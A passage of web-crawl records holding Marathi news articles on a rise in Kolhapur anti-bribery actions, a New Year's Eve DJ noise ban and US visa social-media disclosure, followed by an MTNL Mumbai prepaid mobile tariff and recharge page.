प्लॅटफॉर्म्स यांची माहिती अमेरिकन सरकारला द्यावी लागणार आहे. या नागरिकांचे सोशल मिडीया पासवर्डस वा इतर अन्य स्वरुपाची गोपनीय माहिती मिळविण्याचा प्रयत्न अमेरिकेकडून केला जाणार नाही, असेही परराष्ट्र मंत्रालयाकडून ध्वनित करण्यात आले आहे.\nगेल्या वर्षापासून अमेरिकेमध्ये येणाऱ्या स्थलांतरितांकडून वापरण्यात येणाऱ्या सोशल मिडीया प्लॅटफॉर्म्सची माहिती मिळविण्यास येथील प्रशासनाने सुरुवात केली आहे. याआधी, व्हिसा अर्ज करणाऱ्यांना ही माहिती देणे बंधनकारक नव्हते. या माहितीचा\nअमेरिकेत येणाऱ्या स्थलांतरितांची काटेकोर तपासणी करण्यासंदर्भातील धोरण ट्रम्प प्रशासनाकडून राबविले जात आहे. या पार्श्‍वभूमीवर, अमेरिकन परराष्ट्र मंत्रालयाकडून हा संवेदनशील निर्णय घेण्यात आला आहे.\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nत्या दोन रुग्णांचा मृत्यू स्वाईन फ्ल्यूमुळे नाहीच...\nपणजी : काही दिवसांपूर्वीच मडगावमध्ये आणि गोवा वैद्यकीय महाविद्यालय, बाबोळी येथे दोन रुग्ण दगावले. हे दोन्ही रुग्ण स्वाईन फ्ल्यूमुळे नाही तर हृदयाच्या...\n'तीन मूर्ती भवन रिकामं करा'\nनवी दिल्ली- जवाहरलाल नेहरू मेमोरियल फंड ही संस्था 1967 पासून दिल्लीतल्या तीन मूर्ती भवनमध्ये आहे. या संस्थेला तीन मूर्ती भवनातील जागा रिकामी करण्याची...\nयेडियुरप्पांच्या नेतृत्वाला पक्षांतर्गत आव्हान\nबेळगाव - भाजपचे प्रदेशाध्यक्ष व माजी मुख्यमंत्री बी. एस. येडियुरप्पा कर्नाटकात भाजपला सत्ता मिळवून देण्यात अपयशी ठरले आहेत. शिवाय त्यांच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00235.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/70-percent-increase-in-Kolhapur-bribery-action/", "date_download": "2018-09-25T16:58:17Z", "digest": "sha1:G6BR6672I7ZTSHPJEFCJXFXA2W6D22MH", "length": 7760, "nlines": 39, "source_domain": "www.pudhari.news", "title": " कोल्हापूरच्या लाचलुचपत कारवाईत ७० टक्के वाढ | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › कोल्हापूरच्या लाचलुचपत कारवाईत ७० टक्के वाढ\nकोल्हापूरच्या लाचलुचपत कारवाईत ७० टक्के वाढ\nकोल्हापूर : विजय पाटील\nकोल्हापुरातील विविध सरकारी विभागांत लाचखोरी मोठ्या प्रमाणावर वाढत चालली आहे. अख्खी कार्यालयेच संगनमताने लाच घेतल्याशिवाय सामान्य माणसांचा कागद पुढे सरकवत नाहीत, हे यापूर्वी झालेल्या कारवाईवरून स्पष्ट झाले आहे. गतवर्षीच्या तुलनेत यंदा लाचलुचपत प्रतिबंधक विभागाची कारवाई अत्यंत सरस असून तुलनेेने ही वाढ 70 टक्के इतकी आहे. हक्‍कासाठी लाच का घेताय, असा संतप्त सवाल उपस्थित होत आहे.\n लाच दिल्याशिवाय करायचं नाही, असं बहुतांश सरकारी अधिकारी व कर्मचार्‍यांनी पक्‍कं ठरवलं आहे की काय, अशी शंका येण्यासारखे प्रकार समोर येत आहेत. लाच दिली तरच काम; अन्यथा त्रुटी काढून ते रद्द करण्यासारख्या गंभीर तक्रारी होत आहेत. भारत बटालियनच्या पोलिस उपअधीक्षकासह सहा संशयितांवर नुकतीच कारवाई केली. या प्रकरणाने खळबळ उडाली. कारण, जवानांकडून कोणत्याही कारणावरून लाच मागितली जात असल्याचे यावरून समोर आले. एकाच विभागातील सहा जण बिनधोकपणे लाच मागतात आणि स्वीकारतात हे अनाकलनीय आहे. यापूर्वी पन्हाळा येथील दुय्यम निबंधक अधिकार्‍यासह अख्खं कार्यालय लाच घेताना सगळ्यांनी पाहिलेले आहे. या घटनेनंतर आता भारत बटालियन विभागातही लाचेचे सामूहिक प्रकरण समोर आले.\nतंत्रज्ञानान वाढलं, लोकांना कायदे माहीत झाले, असं म्हणताना लाचखोरी कमी होईल असं एक सकारात्मक चित्र जाणकांराना दिसत होतं; पण लाचेचा राक्षस अधिकच मोठा होऊ लागला आहे.\nकोल्हापूरचा लाचलुचपत प्रतिबंधक विभागाने यंदा जोरदार कारवाई केली आहे. गतवर्षी म्हणजे 1 जानेवारी 17 ते 17 जुलै 2017 या कालावधीत एसीबीचे 12 सापळे यशस्वी झाले होते. यंदा हाच आकडा 20 इतका वाढला आहे. राज्यात कारवाईच्या अनुषंगाने कोल्हापूरचा एसीबी विभागाचा वेग सतत वाढत आहे. कारवाई वाढत असूनही लाचखोरांनी मात्र यातून फारसं शहाणपण घेतलेलं दिसत नाही\nएसीबीच्या एका कारवाईत शक्यतो एक जण लाच स्वीकारताना रंगेहाथ सापडतो, असे चित्र असते; पण एसीबीच्या यापूर्वी झालेल्या कारवाईवर नजर टाकली, तर पन्हाळा दुय्यम निबंधक अधिकार्‍यासह अख्ख्या कार्यालयावर कारवाई करण्यात आली आहे. कागल तहसीलदारांसह तलाठी व इतर सहकार्‍यांवर कारवाई करण्यात आली आहे. भारत बटालियनमधील डीवायएसपीसह सहा जणांना मंगळवारी अटक करण्यात आली. एकाच सापळ्यात अनेक जणांवर कारवाई करण्याचे यंदा कोल्हापूर विभागाचे रेकॉर्ड झाले असल्याची चर्चा सुरू आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00235.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Thirty-First-DJ-Close/", "date_download": "2018-09-25T16:53:37Z", "digest": "sha1:QUNGOCPVZZN6EPPB52BZ5CSC5IAT24PI", "length": 7362, "nlines": 50, "source_domain": "www.pudhari.news", "title": " थर्टी फर्स्टला डीजेचा आवाज खाली! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › थर्टी फर्स्टला डीजेचा आवाज खाली\nथर्टी फर्स्टला डीजेचा आवाज खाली\nनव्या वर्षाच्या स्वागतानिमित्त आयोजित करण्यात येणार्‍या कार्यक्रमांच्या माध्यमातून ध्वनिप्रदूषण होणार नाही याची दक्षाता प्रदूषण नियंत्रण मंडळाकडून घेण्यात येत आहे. 31 डिसेंबरच्या रात्री कुठेही डीजे लावण्यास परवानगी देण्यात येऊ नये, अशा सूचना संबंधिताना देण्यात आल्या आहेत. डीजे वाजवून ध्वनिप्रदूषण प्रदूषण नियंत्रण नियमावलीचे उल्लंघन केल्यास कठोर कारवाई करण्यात येईल, असा इशारा पर्यावरण मंत्री रामदास कदम यांनी दिला आहे.\nवाढते ध्वनिप्रदूषण रोखण्यासाठी ध्वनिप्रदूषण नियंत्रण नियमावली तयार करण्यात आली आहे. त्यानुसार 55 ते 65 डेसिबल्सच्या मर्यादतच ध्वनिक्षेपकांचा वापर करता येईल. त्यापेक्षा अधिक आवाजात ध्वनिक्षेपकाचा वापर हॉटेल्स, तसेच सार्वजनिक ठिकाणी करता येणार नाही. पर्यटन स्थळे, इकोसेन्सिटिव्ह झोन्स, शांतता क्षेत्रात डीजेसारख्या मोठ्या आवाजातील ध्वनिक्षेपकांचा वापर करण्यास यापूर्वीच मनाई करण्यात आली आहे. नवीन वर्षाच्या स्वागतानिमित्त 31 डिसेंबरला आयोजित करण्यात येणार्‍या कार्यक्रमांत डीजे वाजवून कुठेही ध्वनिप्रदूषण होणार नाही, याची दक्षता संबंधित यंत्रणानी घ्यावी, असे रामदास कदम यांनी सांगितले.\nमहाबळेश्‍वर येथील कीज हॉटेलवरील कारवाई नियमानुसार महाबळेश्वर येथील कीज हॉटेलवर प्रदूषण नियंत्रण मंडळाने नियमानुसार कारवाई केली असून कुणाच्या आदेशाने किंवा सुडबुद्धीने केलेली नाही, असे पर्यावरण मंत्री कदम यांनी स्पष्ट केले. कीज हॉटेलसाठी प्रदूषण नियंत्रण मंडळाकडून 59 खोल्यांची परवानगी देेण्यात आली होती. त्याऐवजी पार्किंग जागेवर अनधिकृतपणे 27 खोल्या अधिकच्या बांधण्यात आल्या आहेत. सांडपाण्याची एक लाईन नगरपालिकेच्या पाण्यात सोडलेली आहे. यासंदर्भात संबंधित हॉटेल व्यवस्थापनास नियमानुसार रितसर नोटीस देऊन आणि पुरेसावेळ देऊन कारवाई करण्यात आल्याचे त्यांनी सांगितले.\nवॅक्स म्युझियममध्ये बाळासाहेब ठाकरेंचा मेणाचा पुतळा\nमिर्जा गालीब यांच्या जयंतीनिमित्‍त गुगलचे डूडल\nमुंबईत श्‍वास घेणेही धोक्याचे\nथर्टी फर्स्टला डीजेचा आवाज खाली\nथर्टी फर्स्टला बीअरच्या नशेवर सरकारी उतारा\nमोपलवारांच्या हाती पुन्हा समृद्धीची सूत्रे\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00235.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://mtnlmumbai.in/marathi/index.php/%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%AA%E0%A5%87%E0%A4%A1-%E0%A4%95%E0%A5%81%E0%A4%AA%E0%A4%A8", "date_download": "2018-09-25T17:04:05Z", "digest": "sha1:5PLIA5KVHJDFI75634FJKYGNEY7LTHJ2", "length": 32051, "nlines": 315, "source_domain": "mtnlmumbai.in", "title": "प्रीपेड कुपन", "raw_content": "\nआमच्या विषयी |कॉरपॉरेट माहिती | बिल पहा आणि भरा |सेवा केंद्र | निविदा |\nजीएसएम प्रिमियम नंबर बिडिंग\nवेगवान एफटीटीएच व व्हीडीएसएल योजना\nस्तटिक आयपी/ आयपी पूल\nट्राय फॉरमेट ब्रॉडबैंड टेरिफ\nहाय रेंज व्हाय फ़ाय मॉडेम\nएफटीटीएच रेव्हन्यु शेअरींग पॉलीसी\nआयएसडीएन(पीआरआय / बीआरआय) सेवा\nएमएसआयटीएस डाटा सेंटर, चेन्नई\nयूनिवर्सल एक्सेस नंबर (युएएन)\nलैंडलाइन प्रिमियम नंबर बिडिंग\nजीएसएम प्रिमियम नंबर बिडिंग\nकिरकोळ विक्रेता स्टॉक खरेदी\nनाव एमआरपी (रु.) टॉक टाईम (रु.) प्रक्रिया शुल्क (रु.) मुळ किंमत (रु.) जीएसटी (रु.)\nटॉप अप १० १० ७.४७ १.० ८.४७ १.५३\nटॉप अप २० २० १४.९५ २ .० १६.९५ ३.०५\nटॉप अप ४०* ४० ३०.५ ३.४ ३३.९ ६.१\nटॉप अप ५० ५० ३९.०० ३.३७ ४२.३७ ७.६३\nटॉप अप १०० १०० ८१.०० ३.७५ ८४.७५ १५.२५\nटॉप अप १३०* १३० ११०.०० ०.१७ ११०.१७ १९.८३\nटॉप अप २००* २०० १९०.०० ० १६९.४९ ३०.५१\nटॉप अप ३०० ३०० २९५.०० ० २५४.२४ ४५.७६\nटॉप अप ५०० # ५०० ५००.०० ० ४२३.७३ ७६.२७\nटॉप अप ७५० ७५० ७५०.०० ० ६३५.५९ ११४.४१\nटॉप अप १०००* १००० १०१०.०० ० ८४७.४६ १५२.५४\nटॉप अप २२०० २२०० २२५०.०० ० १८६४.४१ ३३५.५९\n* फक्त ई-रिचार्ज व वेब रिचार्ज मध्ये उपलब्ध\nप्लान कूपन एमआरपी (रु.) फायदे टॉक टाईम(रु.)\nएस एमएस आधारित सक्रियकरण\n३६५ दिवसां पर्यंत वाढीव मुदत वाढ\n०.५५ ३६५ ४४४ नंबर वर RCH ५५ हा एसएमएस पाठवा\nकॉल ( वौइस् आणि विडियो )\nमोबाइल ( लोकल + एसटीडी ) : ३ पैसे/ २ सेकंद\nलैंडलाइन कॉल्स ( लोकल + एसटीडी ) : २ पैसे/सेकंद\nप्लान व्होउचर ११९ ११९ कॉल ( वौइस् आणि विडियो )\nलोकल + एसटीडी : १ पैसे/ सेकंद ०.३३ १८० ४४४ नंबर वर RCH ११९ हा एसएमएस पाठवा\n# - फकत ई रिचार्ज व वेब रिचार्ज मध्ये उपलब्ध .\nग्राहकांकडून रु. २ सक्रियकरण शुल्क अतिरीक्त घेतले जाईल.\nटेरिफ वैधता समाप्तीपर्यंत किंवा त्यापूर्वी असेल दुसर्या एसटीव्ही च्या रिचार्ज होईपर्यंत योजना व्हाउचर मध्ये वरील नमूद दर सूची लागू होईल.म्हणूनच एसटीव्ही रिचार्ज करताना खबरदारी ने निवड करावी\nतात्पुरत्या टॅरिफ ग्राहकाने सक्रिय केलेल्या शेवटच्या प्लॅन / एसटीव्ही व्हॉउचरनुसार लागू होईल. ग्राहक कोणत्याही पूर्वी सक्रिय केलेल्या तात्पुरत्या योजनांपासून ग्रस्त राहील. सक्रिय योजनेची समाप्ती झाल्यानंतर, ग्राहक परत एफटीयू बेस टेरिफकडे परत जाईल.\nरिचार्ज केलेल्या बोनस कुपनची वैद्यता जाणुन घेण्याकरीता तुम्ही मोबाईल करुन ४४५ डायल करा.\nलाईफ टाईम वैद्यता दिनांक ०५.०४.२०१९ पर्यंत आहे. त्यानंतर वैद्यता लायसन्सच्या नूतनीकरणांतर्गत निर्धारीत केली जाईल.\nसर्व कॉल शुल्क फक्त होम नेटवर्ककरीता लागू आहेत. जेव्हा, तुम्ही होम नेटवर्कच्या बाहेर असता तेव्हा रोमिंग शुल्क लागू होते.\nकमीत कमी डाऊन लीड वेग २ जी करीता २० केबीपीएस व ३ जी करीता २५६ केबीपीएस असेल, जर डाटा सेवे करीता ब्राउसिग करीत असलेल्या ग्राहकाची संख्या , कमी कव्हरेज क्षेत्र, ग्राहकस्थान,पीकआँफ वेळ, वापरात असलेले डीवाईस, अनुप्रयोगघेणारेडेटा, वबसाईट वर्तनआणिइतरबाह्यघटकप्रर. या वर अवलंबुन राहिल\nब्लॅक आऊट डेज - कृपया लक्षात ठेवा की ब्लॅक आऊट डेजच्या दरम्यान प्रति सिम १०० एसएमएस पर्यंत एसएमएस शुल्क चालू योजनेनुसार लागु होतील. सिम नुसार १०० हुन अधिक एसएमएस करीता एसएमएस शुल्काच्या रुपात ट्रम्प ग्राहकाना लावले जातील.लोकल एसएमएस: ५०p, राष्ट्रीय: 1 रुपये और आईएसडी: ५ रु.ह्या दिवशी पाठवल्या जाणा-या एसएमएस च्या संख्ये वर कोंतागी प्रतिबन्ध असणार नाही .अधिक माहितीकरता इथे क्लिक करा.\nएसटीव्ही एमआरपी (रु.) टॉक टाईम(रु.) फायदे वैद्यता (दिन)\nरात्री पॅक २५ ०.५९ रात्रीचे कॉल (रात्री ११.०० ते सकाळी ८.०० ) :\nडॉल्फिन व ट्रम्प मोबाइल : ५ पैसे/मिनिट\nअन्य लोकल: ३० पैसे/मिनिट\nसंदेश :लोकल एमटीएनएल: ५ पैसे\nनियमित कॉल (व्ह व व्हीडीओ ) :\nअन्य लोकल : ५०पैसे/मिनिट,\nएसटीवी ३९ ३९ ०.५७ कॉल (व्हॉइस/व्हिडियो ): ४० पैसे प्रति मिनिट, एसटीडी ४५ पैसे / मिनिट २१\nएसटीवी ४५ ४५ ०.२७\nकॉल (व्हॉइस/व्हिडियो ) मोबाइल ( लोकल + एसटीडी): १ पैसे/सेकंद लैंडलाइन कॉल ( लोकल + एसटीडी) : २ पैसे/सेकंद\nएसटीवी ४९ ४९ ०.३७\nकॉल (व्हॉइस/व्हिडियो ): ३५ पैसे प्रति मिनिट, एसटीडी ४० पैसे / मिनिट\nएसटीवी ६३ ~ ६३ ०.५३\nमोबाइल कॉल एमटीएनएल नेटवर्क ( मुंबई + दिल्ली) १ पैसा/ २ सेकंद\nइतर लोकल आणि एसटीडी : १ पैसा/ सेकंद ; लँडलाईन ( लोकल + एसटीडी ) -२ पैसे/सेकंद\nकमीत कमी डाऊन लीड वेग 2 जी करीता 2० केबीपीएस व 3 जी करीता 2५6 केबीपीएस असेल, जर डाटा सेवे करीता ब्राउसिग करीत असलेल्या ग्राहकाची संख्या , कमी कव्हरेज क्षेत्र, ग्राहकस्थान,पीकआँफ वेळ, वापरात असलेले डीवाईस, अनुप्रयोगघेणारेडेटा, वबसाईट वर्तनआणिइतरबाह्यघटकप्रकार. या वर अवलंबुन राहिल.\nतात्पुरतीटेरिफग्राहकांनी शेवटी सक्रिय केलेल्या योजना/ एसटीव्ही कुपन नुसारलागूहोईल. ग्राहकांनाकोणत्याहीपूर्वीसक्रियतात्पुरत्यायोजने चा लाभ घेता येणार नाही. तात्पुरत्या प्लानच्यासमाप्ति नंतर, ग्राहकपरतमूळ प्लान मध्ये परत जातील.\nटेरिफवैधतासमाप्तीपर्यंत किंवा त्यापूर्वीअसेलदुसर्या एसटीव्ही च्यारिचार्जहोईपर्यंतयोजनाव्हाउचरमध्येवरीलनमूददर सूचीलागूहोईल.म्हणूनच एसटीव्ही रिचार्जकरताना खबरदारी ने निवड करावी\n# ई रिचार्जमध्ये, वेब रिचार्ज आणि एसएमएस रिचार्जमध्ये उपलब्ध सक्रिय करण्यासाठी, एसएमएस 'आरसीएच <मूल्य मूल्य>' (उदा. 'आरसीएच 71') 444 पर्यंत पाठवा.\nएसटी व्ही एमआरपी (रु.) टॉक टाईम(रु.) फायदे वैद्यता (दिन) एसएमएस वर आधारीत एक्टिवेशन\nएस टी डी सेकंडस पैक # ३४ #\n४००० एस टी डी व्हॉईस सेकंद १४ ४४४ वर 'RCH 34' संदेश पाठवा\n१५९ # ०.२६ २३००० एस टी डी व्हॉईस सेकंद २८ -\nअनलिमिटेड वीडियो कॉल प्लान ६१ # ०.१२ लोकल एमटीएनएल वर अनलिमिटेड वीडियो कॉल २८ ४४४ वर'RCH 61' संदेश पाठवा\nएसटीवी १९ ~ १९ # ०.२४\n१) एमटीएनएल नेट वर्क मध्ये १२० सेकंद वोंईस कॉल २) ३६५ दिवस वापरत न आलेले प्रिपेड नंबर परत सुरु करण्यासाठी व बंद करण्यासाठी\nएसटीवी १७१ १७१ # ० .६६\n१.५ जीबी / दिवस @, अमर्यादित विनामूल्य लोकल व एसटीडी कॉल्स (मोबाइल व लँडलाईन) ** एमटीएनएल होम आणि एमटीएनएल दिल्ली नेटवर्क वर , १०० एसएमएस/ दिवस\n२८ ४४४ वर'RCH 171' संदेश पाठवा\nएसटीवी १९७ १९७ # ० .३६ २ जीबी / दिवस @, अमर्यादित विनामूल्य लोकल व एसटीडी कॉल्स (मोबाइल व लँडलाईन) ** एमटीएनएल होम आणि एमटीएनएल दिल्ली नेटवर्क वर , १०० एसएमएस/ दिवस ३५ ४४४ वर'RCH 197' संदेश पाठवा\nएसटीवी २३१ २३१ # ०.६७\n२.५ जीबी / दिवस @, अमर्यादित विनामूल्य लोकल व एसटीडी कॉल्स (मोबाइल व लँडलाईन) ** एमटीएनएल होम आणि एमटीएनएल दिल्ली नेटवर्क वर , १०० एसएमएस/ दिवस\n४२ ४४४ वर'RCH 231' संदेश पाठवा\nएसटीवी ३६५ ३६५ # ०.६८ ३ जीबी / दिवस @, अमर्यादित विनामूल्य लोकल व एसटीडी कॉल्स (मोबाइल व लँडलाईन) ** एमटीएनएल होम आणि एमटीएनएल दिल्ली नेटवर्क वर , १०० एसएमएस/ दिवस ७० ४४४ वर'RCH 365' संदेश पाठवा\nएसटीवी ४२१ ४२१ # ०.६९ ३ जीबी / दिवस @, अमर्यादित विनामूल्य लोकल व एसटीडी कॉल्स (मोबाइल व लँडलाईन) ** एमटीएनएल होम आणि एमटीएनएल दिल्ली नेटवर्क वर , १०० एसएमएस/ दिवस ८४ ४४४ वर'RCH 421' संदेश पाठवा\nएसटीव्ही एमआरपी (रु.) फायदे टॉक टाईम(रु.) वैद्यता (दिन) एसएमएस वर आधारीत एक्टिवेशन\nएसएमएस पैकस** ३१ फ्री ३०० एसएमएस (लोकल व राष्ट्रीय) ०.१० २८ ४४४ वर 'RCH 31' संदेश पाठवा\n९७ फ्री १२५० एसएमएस (लोकल व राष्ट्रीय ) ०.९७ १८ ४४४ वर'RCH 97' संदेश पाठवा\n४० एसएमएस मोफत ^(लोकल एंव राष्ट्रीय)\n१ ४४४ वर 'RCH ५' संदेश पाठवा\n*मर्यादित कालावधी ऑफर (दिनांक १९/०८/२०१८ पासून लागू).\n** इतर सर्व विशेष नंबर (उदा. १३९) दरानुसार शुल्क आकारले जातील.\nमोफत कॉलिंग आणि एसएमएसचा लाभ होम नेटवर्क आणि एमटीएनएल दिल्ली नेटवर्क. एमटीएनएल दिल्ली व्यतिरिक्त रोमिंग दरम्यान, मानक रोमिंग शुल्क लागू होईल. प्लॅन सक्रियकरण फी रु. २ / - अतिरिक्त शुल्क लागु होईल.\n# - फकत ई रिचार्ज व् वेब रिचार्ज मधे उपलब्ध .\n@मोफत वापराच्या नंतर, @ ३पैसे / १०kb मानक शुल्क लागू होईल.\nप्रति दिन प्रति सिम १०० एसएमएस, एसएमएस शुल्क सध्याच्या योजनेनुसार असेल. प्रति सिम १०० पेक्षा अधिक एसएमएससाठी, ट्रम्प ग्राहकांकडून एसएमएस शुल्क आकारले जाईल .लोकल एसएमएस:५०पैसे, राष्ट्रीय: रु. १ आणि आयएसडी: रु ५\n~ एसटीवी १९ हे कूपन सामान्य ग्राहकांसाठी उपलब्ध नाही. हे कूपन खास त्या ग्राहकांसाठी आहे , ज्यांचे मोबाइल कनेक्शन ३६५ दिवस न वापरल्या मुळे बंद करण्यात आले आहे. एसटीवी १९ कूपन द्वारा असे ग्राहक आपला बंद असलेला प्रिपेड मोबाइल परत सुरु करू शकतात.\nसर्व कॉल शुल्क फक्त होम नेटवर्कवर लागू आहेत. होम नेटवर्कच्या बाहेर रोमिंग शुल्क लागू होते\nब्लॅक आऊट डेज - कृपया लक्षात ठेवा की ब्लॅक आऊट डेजच्या दरम्यान प्रति सिम १०० एसएमएस पर्यंत एसएमएस शुल्क चालू योजनेनुसार लागु होतील. सिम नुसार १०० हुन अधिक एसएमएस करीता एसएमएस शुल्काच्या रुपात ट्रम्प ग्राहकाना लावले जातील.लोकल एसएमएस: ५०p, राष्ट्रीय: 1 रुपये और आईएसडी: ५ रु.ह्या दिवशी पाठवल्या जाणा-या एसएमएस च्या संख्ये वर कोंतागी प्रतिबन्ध असणार नाही .अधिक माहितीकरता इथे क्लिक करा.\nट्रम्प \" माय ग्रुप \" मध्ये तुमच्या ९ स्थानीक डॉल्फिन किंवा ट्रम्प नंबरच्या समुहाबरोबर कमी दरात कॉल व एसएमएसचा लाभ घ्या.\nएमटीएनएल मध्ये तुमच्या मित्रांना व कुटुंबियांना १ पैसा - १२सेकंद दराने कॉल करण्याचा लाभ घ्या.\nएसएमएस फक्त १० पैसे प्रति एसएमएस\nट्रम्प माय ग्रुप प्लान\nमासिक सेवा शुल्क रु. २०\nग़्रुप आकार ९ स्थानीय डॉल्फिन/ट्र्म्प नंबर\nकमीतकमी ग्रुप आकार २\nग्रुप नंबर नोंदणीकरण शुल्क रु.१/- प्रती नंबर\nग्रुप मधील कॉल शुल्क १पैसा/१२ सेकंद\nग्रुप मध्ये एसएमएस शुल्क १० पैसे /एसएमएस\nएसटीडी, आयएसडी, एमएमएस व अन्य शुल्क प्लान प्रमाणे\nयुएसएसडी इंटराक्टीव माय ग्रुप व्यवस्थापन\nग्राहक, इंटराक्टीव युएसएसडी माध्यमातुन खालील माय ग्रुप ऑपरेशन करु शकतात.\nहे मायग्रुप सेवा सक्रिय करण्यासाठी आहे.\nहे मायग्रुप मध्ये नंबर नोंदणीकरीता आहे.\nहे मोबाईल नंबर बदलण्याकरीता आहे.\nहे, सर्व मोबाईल नंबर, त्यांच्या स्थितीच्या (१-९) बरोबर प्रदर्शित करण्याकरीता आहे.\nहे मायग्रुप सेव निष्क्रियकरणकरीता आहे.\nअधिक माहितीकरता कॉल सेंटर नंबर १५०३ वर संपर्क करा.\nदर वैधता ( दिवस )\nटॉकटाइम : रु. २५\nएसएमएस : ७७(स्थानिक+ राष्ट्रीय)\nडाटा वापर : ३५० एमबी\nई / ऑनलाइन रिचार्ज मध्ये उपलब्ध.\nमोफत एसएमएस आणि व्हॉइस चे फायदे होम नेटवर्क मध्ये फक्त लागू आहेत . रोमिंग दरम्यान असाल तर व्हॉइस आणि एसएमएस चे शुल्क ग्राहक वर्तमान योजने नुसार शुल्क आकारले जाईल.\nटॉक टाईमसाठी वैधता आकारणी नाही.\nमोफत डेटा वापर संपल्यानंतर, @ ३ पैसे / १० केबी प्रमाणे शुल्क लागू होईल\nप्रीपेड मोबाईलकरीता रिचार्ज प्रक्रिया\nखालील मुद्द्यांमधील कोणत्याही मुद्द्यांचे पालन करुन तुमचा मोबाईल रिचार्ज करा.\nतुमच्या प्रि-पेड मोबाईलवरून * 4०० # १६ अंकाचा पिन # डायल करा.\n४०० डायल करा व आयवीआर च्या निर्देशांचे पालन करा.\nएमटीएनएल प्रि-पेड मोबाईलचे कोणतेही रिचार्ज करण्याकरीता कोणत्याही नंबर वरुन ९८६९५५६६७७ डायल करा. तुम्ही जेव्हा होम नेटवर्कच्या बाहेर रोमिंग मध्ये असतानाही, त्याच नंबर वरुन रिचार्ज करु शकता.\nतुमच्या प्रि-पेड मोबाईलच्या शिल्लक राशिचा तपास करा.\nखाली दिलेल्या मुद्द्यांमधील कोणत्याही एका मुद्द्याचे पालन करून आपल्या मोबाईल मधील बाकी रकमेचा मागोवा घ्या.\nमोबाईलवरून ४४४ डायल करा व निर्देशांचे पालन करा.\nतुमच्या खात्यातील बाकी व वैद्यता जाणुन घेण्याकरीता *४४४# डायल करा\nशिल्लक राशि व नि:शुल्क प्रमोशन (मिनिट,एसएमएस,डाटा) ची वैद्यता जाणुन घेण्याकरीता मोबाईलवरुन *४४६# डायल करा.\nबोनस कुपन समाप्तीची तारीख जाणुन घेण्याकरीता तुमच्या मोबाईल वरुन *४४५# डायल करा.\nट्राई प्रारुप मध्ये प्रि-पेड टॅरिफच्या माहितीकरता इथे क्लिक करा\nडेटा सेवा (डेटा पॅक समावेश) सक्रिय करण्यासाठी, १९२५. एसएमएस START पाठवा निष्क्रिय करण्यासाठी, एसएमएस STOP पाठवा १९२५ वर किंवा कॉल करा १९२५.\nमोबाईल इंटरनेट ( जीपीआरएस)\nमोबाईल नंबर पोर्टबिलिटी ( एमएनपी)\nवेबसाईट धोरणे / अटी आणि नियम\nहे महानगर टेलिफोन निगम लिमिटेड मुंबईचा अधिकृत संकेतस्थळ आहे, जे भारत सरकारच्या कम्युनिकेशन मंत्रालयाच्या अंतर्गत काम करत आहे.\n", "cc_segment": 